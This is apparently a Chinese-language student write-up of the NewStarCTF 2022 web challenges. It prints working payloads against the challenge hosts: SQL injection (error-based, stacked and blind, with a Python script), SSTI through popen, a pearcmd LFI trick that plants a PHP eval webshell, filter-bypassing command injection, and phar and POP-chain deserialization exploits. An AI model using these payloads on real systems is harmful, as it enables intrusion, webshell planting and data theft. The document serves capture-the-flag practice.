NewstarCTF_2022web

newstarctf-web

web

week1

1.http

进入页面看到提示,让我们给他提供名字

显然f12打开hackbar直接get

1
/?name=1

得到如下提示说让我们把key传上去

查看查看器找到key,然后post

1
key=ctfisgood

提示

我们不是admin

直接bp抓包处理,发现

cookie: user=guest

改为admin,得到flag

1
Cookie: user=admin

2.head

如题

Must Use’CTF’Brower!

直接bp抓包改代理

1
user-agent: ctf 

得到

Must From’ctf.com’

添加

1
Referer:ctf.com

得到

Only Local User Can Get Flag

添加

1
X-Forwarded-For:127.0.0.1

得到flag

3.我真的会谢!

打开显示,分为三个不用的敏感的文件,查看源码:

根据提示想到的是VIM不正常退出产生的swp文件,所以尝试一下,

1
/.index.php.swp

显示结果出现了第二部分的flag第二个尝试一下,

1
/www.zip

下载文件,解压,查看出现了第三部分的flag尝试一下备份文件,

1
/robots.txt

下载文件,查看出现了第一部分的flag最后拼接一下就好了

4.notphp

打开页面

1
file_get_contents($_GET['data']) == "Welcome to CTF"  

data伪协议绕过

1
2
data=data://text/plain,base64;
md5($_GET['key1']) === md5($_GET['key2']) && $_GET['key1'] !== $_GET['key2']

数组绕过md5函数

1
2
key1[]=1&key2[]=2
is_numeric($_POST['num']) && intval($_POST['num']) == 2077

%00绕过is_numeric函数

1
2
num=2077%00
eval("#".$_GET['cmd']

换行符%0a绕过注释符进入eval函数进行命令注入

找到flag位置

1
eval(system(“find / -name ‘flag*’”))

最后直接cat路径得到flag

5.word for you

构造一下注入,结果在万能密码的时候就爆出flag了。

1
1or 1=1#

这是第一周的wp总结和拓展一下用到知识点吧。

感觉就是php里面用了一点特别的知识点,主要就是data伪协议用于绕过file_get_contents函数,还有就是单行注释符可以用换行符%0a绕过之后进行命令执行。

week2

1. Word for you(2)

构造1’ order by 3 #以后发现报错说明只有两个表

尝试联合注入-1’ union select version,database() #

只有报错有回显,说明只能进行报错注入

逐次进行报错注入

1
2
3
4
5
-1' and updatexml(1,concat('~',
substr((select group_concat(schema_name)from information_schema.schemata),31,62)),3)#
-1' and updatexml(1,concat('~', substr((select group_concat(table_name)from information_schema.tables where table_schema='wfy'),1,31)),3)#
-1' and updatexml(1,concat('~', substr((select group_concat(column_name)from information_schema.columns where table_name='wfy_comments'),1,31)),3)#
-1' and updatexml(1,concat('~', substr((select group_concat(text)from wfy_comments),155,186)),3)#

这里需要注意的是updatexml函数只能显示32位,所以需要substr辅助使用。

2.include one

看到有**mt_rand()和注释的mt_srand()**,是伪随机数,解压使用伪随机数爆破工具跑一下。

可以看到跑出来几个参数,我们选取1145146进行播种

1
2
3
4
5
<?php
mt_srand(1145146);
echo mt_rand();
echo mt_rand();
?>

打印出来1219893521,1202031004

传参

1
guess=1202031004

进入下一个循环

需要有NewStar字符串,所以我们使用rot13编码进行绕过,并将NewStar字符串嵌入,所以我们的payload为:

1
file=php://filter/NewStar/read=string.rot13/resource=flag.php

查看源码得到flag

3.反序列化

看到include自然而然想到php伪协议读取源代码,并且这里过滤了base,且必须含有很明显解题要使函数进入_invoke方法,要进入invoke方法就需要用函数方式调用对象,isset方法刚好是这样,所以$func指向Sec类,要触发isset方法,要有不可访问属性,clone方法里面obj->cmd,没有cmd变量,$obj指向Start类,要触发clone方法,需要复制对象,明显在call中,要触发call方法,调用对象中不可访问的方法,toString中有check方法,所以sec->$obj指向Easy类,触发destruct方法即可触发toStrng方法。

完整的pop链: invoke->isset->clone->call->_toString->destruct

所以构造payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class Start
{
public $name;
protected $func;
public function __construct(){$this->func=new Sec();}
}
class Sec
{
private $obj;
public $var;
public function __construct(){$this->obj = new Easy();}
}
class Easy
{
public $cla;
}
class eeee
{
public $obj;
}
$a=new Start();
$b=new Sec();
$c=new eeee();
$c->obj=$a;
$a->name=$b;
$b->var=$c;
echo urlencode((serialize($a)));
?>

得到flag

4.ezAPI

怎么说呢,听说是graphQL,一点不会,算了,和小菜鸡一样学习吧。

先上大佬博客

https://mp.weixin.qq.com/s/gp2jGrLPllsh5xn7vn9BwQ

我们可以在

1
www.zip

里面找到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
error_reporting(0);
$id = $_POST['id'];
function waf($str)
{
if (!is_numeric($str) || preg_replace("/[0-9]/", "", $str) !== "") {
return False;
} else {
return True;
}
}
function send($data)
{
$options = array(
'http' => array(
'method' => 'POST',
'header' => 'Content-type: application/json',
'content' => $data,
'timeout' => 10 * 60
)
);
$context = stream_context_create($options);
$result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);
return $result;
}

if (isset($id)) {
if (waf($id)) {
isset($_POST['data']) ? $data = $_POST['data'] : $data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}';
$res = json_decode(send($data));
if ($res->data->users_user_by_pk->name !== NULL) {
echo "ID: " . $id . "<br>Name: " . $res->data->users_user_by_pk->name;
} else {
echo "<b>Can't found it!</b><br><br>DEBUG: ";
var_dump($res->data);
}
} else {
die("<b>Hacker! Only Number!</b>");
}
} else {
die("<b>No Data?</b>");
}
?>

看着就头大,但是还是分析一下下,发现我们可以post data,然后我们可以看到

1
data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}';

所以进行内省查询

1
id&data={"query":"\n    query IntrospectionQuery {\r\n      __schema {\r\n        queryType { name }\r\n        mutationType { name }\r\n        subscriptionType { name }\r\n        types {\r\n          ...FullType\r\n        }\r\n        directives {\r\n          name\r\n          description\r\n          locations\r\n          args {\r\n            ...InputValue\r\n          }\r\n        }\r\n      }\r\n    }\r\n\r\n    fragment FullType on __Type {\r\n      kind\r\n      name\r\n      description\r\n      fields(includeDeprecated: true) {\r\n        name\r\n        description\r\n        args {\r\n          ...InputValue\r\n        }\r\n        type {\r\n          ...TypeRef\r\n        }\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      inputFields {\r\n        ...InputValue\r\n      }\r\n      interfaces {\r\n        ...TypeRef\r\n      }\r\n      enumValues(includeDeprecated: true) {\r\n        name\r\n        description\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      possibleTypes {\r\n        ...TypeRef\r\n      }\r\n    }\r\n\r\n    fragment InputValue on __InputValue {\r\n      name\r\n      description\r\n      type { ...TypeRef }\r\n      defaultValue\r\n    }\r\n\r\n    fragment TypeRef on __Type {\r\n      kind\r\n      name\r\n      ofType {\r\n        kind\r\n        name\r\n        ofType {\r\n          kind\r\n          name\r\n          ofType {\r\n            kind\r\n            name\r\n            ofType {\r\n              kind\r\n              name\r\n              ofType {\r\n                kind\r\n                name\r\n                ofType {\r\n                  kind\r\n                  name\r\n                  ofType {\r\n                    kind\r\n                    name\r\n                  }\r\n                }\r\n              }\r\n            }\r\n          }\r\n        }\r\n      }\r\n    }\r\n  ","variables":null}

找到

1
2
3
4
5
6
7
8
9
10
11
12
["name"]=>
string(28) "ffffllllaaagggg_1n_h3r3_flag"
["description"]=>
string(59) "columns and relationships of "ffffllllaaagggg_1n_h3r3.flag""
["fields"]=>
array(1) {
[0]=>
object(stdClass)#182 (6) {
["name"]=>
string(4) "flag"
["description"]=>
NULL

所以最后的payload就是

1
id=1&data={"query":"query{\nffffllllaaagggg_1n_h3r3_flag {\nflag\n}\n}\n", "variables":null}

Week3

1.BabySSTI_One

这里表扬一下带我的老菜只因,教我了一手ssti

s1eepingfish

过滤了一些关键字

拼接绕过即可列出所有子类

1
?name={{''['__cla'+'ss__']['__bas'+'es__'][0]['__subcl'+'asses__']()}}

然后找一下可利用的子类以及下标,脚本跑一下

1
2
3
4
5
all_class = ""
all_class = all_class.split(',')
for n in range(len(all_class)):
if 'os' in all_class[n]:
print('{} {}'.format(n, all_class[n]))

运行得到117有个os._wrap_close

然后执行命令即可

1
?name={{''['__cla'+'ss__']['__bas'+'es__'][0]['__subcl'+'asses__']()[117]['__in'+'it__'].__globals__['popen']('tac /f*').read()}}

2.multiSQL

查询火华的成绩

发现火华成绩为424(有点虚幻

直接进行以下注入

1
1';show databases#

有个english的数据库,查看一下。

1
1';show tables from english#

有个score表,继续查看一下下。

1
1';show columns from score#

看到了有个listen的列

过滤了update等关键字

利用预处理,然后concat拼接字符串绕过即可

1
1';Set @a=concat("upd","ate score set listen=100 where listen=12");prepare s from @a;execute s;#

然后验证成绩就可以得到flag了。

3.include two

对于小白的我来说,多看大佬的文章总是能受益,上大佬

https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp

主要就是pearcmd

给了源码

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
highlight_file(__FILE__);
//Can you get shell? RCE via LFI if you get some trick,this question will be so easy!
if(!preg_match("/base64|rot13|filter/i",$_GET['file']) && isset($_GET['file'])){
include($_GET['file'].".php");
}else{
die("Hacker!");
}

先写入一个eval函数

1
?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[cmd]);?>+/tmp/ting.php

然后到/tmp/ting里面查找

1
/?file=/tmp/ting

然后进行rce

post下列命令

1
cmd=system("cat /f*");

找到flag

4.Maybe You Have To think More

听说是Cookie ThinkPHP 5框架反序列化RCE,但是我好懒,今天先这样了.

Week4

1. RCE

命令执行

过滤了空格和分号等

可以用${IFS}绕过空格%0a绕过分号

ls查看有个index.php

cd进去发现没啥东西,猜测我们要的的东西在上几级的根目录里面

cd ..返回上一级发现一些文件夹,但是没有我们想要的flag

继续往上走

1
?cmd=cd${IFS}..%0acd${IFS}..%0acd${IFS}..%0als

在根目录里面发现文件ffffllllaaaaggggg但是fl与cat之类的被过滤了

所以构造出payload

1
?cmd=cd${IFS}..%0acd${IFS}..%0acd${IFS}..%0apaste${IFS}ffff????aaaaggggg%0a

2.BabySSTI_Two

这次与上次相比过滤了“+”与popen函数等

所以选择用replace函数绕过

空格用url编码绕过

大体过程与上周一样,直接上payload

1
?name={{''['__claAss__'|replace('A','')]['__basAes__'|replace('A','')][0]['__subclAasses__'|replace('A','')]()[117]['__inAit__'|replace('A','')]['__globaAls__'|replace('A','')]['popAen'|replace('A','')]('tac%09/f*').read()}}

3.又一个sql

进去了之后,发现空格已经被过滤了,所以就用/*!*/代替,可以进行注入

这里看到了mochu大佬的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import time

url = 'http://4ca4ab9f-ef5f-435a-981d-52f9a0a7dcb0.node4.buuoj.cn:81/comments.php?name='
content = ''
for pos in range(500):
min_num = 32
max_num = 126
mid_num = (min_num + max_num) // 2
while (min_num < max_num):
# payload = '1/*!*/and/*!*/if(ord(mid(database(),{},1))>{},1,0)'.format(pos, mid_num)
# payload = '1/*!*/and/*!*/if(ord(mid((select/*!*/group_concat(table_name)/*!*/from/*!*/information_schema.tables/*!*/where/*!*/table_schema=\'wfy\'),{},1))>{},1,0)'.format(pos, mid_num)
# payload = '1/*!*/and/*!*/if(ord(mid((select/*!*/group_concat(column_name)/*!*/from/*!*/information_schema.columns/*!*/where/*!*/table_name=\'wfy_admin\'),{},1))>{},1,0)'.format(pos, mid_num)
payload = '1/*!*/and/*!*/if(ord(mid((select/*!*/group_concat(text)/*!*/from/*!*/wfy.wfy_comments),{},1))>{},1,0)'.format(pos, mid_num)
res_url = url + payload
resp = requests.get(url=res_url)
time.sleep(0.5)
if '好耶!' in resp.text:
min_num = mid_num + 1
else:
max_num = mid_num
mid_num = ((min_num + max_num) // 2)
content += chr(min_num)
print(content)

mochu

这里想研究一下下……

4.UnserializeThree

文件上传+反序列化 == phar

查看源码发现有class.php

换行一下下之类的,得到php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 <?php
highlight_file(__FILE__);
class Evil
{
public $cmd;
public function __destruct()
{
if(!preg_match("/>|<|\?|php|".urldecode("%0a")."/i",$this->cmd))
{
//Same point ,can you bypass me again?
eval("#".$this->cmd);
}
else
{
echo "No!";
}
}
}

file_exists($_GET['file']);

这里是老菜只因的博客里的解,我需要再想一想…….

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class Evil
{
public $cmd="\rsystem('cat /flag');";
}
$a = new Evil();
$phar = new Phar("test.phar");
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER(); ?>");
$phar -> setMetadata($a);
$phar -> addFromString("test.txt", "test");
$phar -> stopBuffering();

记得改后缀为gif之后可以了。

week5

1. BabySSTI_there

和上周的比,多过滤了下划线,用下划线ul编码就行\x5f所以有payload

1
?name={{''['\x5f\x5fclaAss\x5f\x5f'|replace('A','')]['\x5f\x5fbasAes\x5f\x5f'|replace('A','')][0]['\x5f\x5fsubclAasses\x5f\x5f'|replace('A','')]()[117]['\x5f\x5finAit\x5f\x5f'|replace('A','')]['\x5f\x5fglobaAls\x5f\x5f'|replace('A','')]['popAen'|replace('A','')]('tac%09/f*').read()}}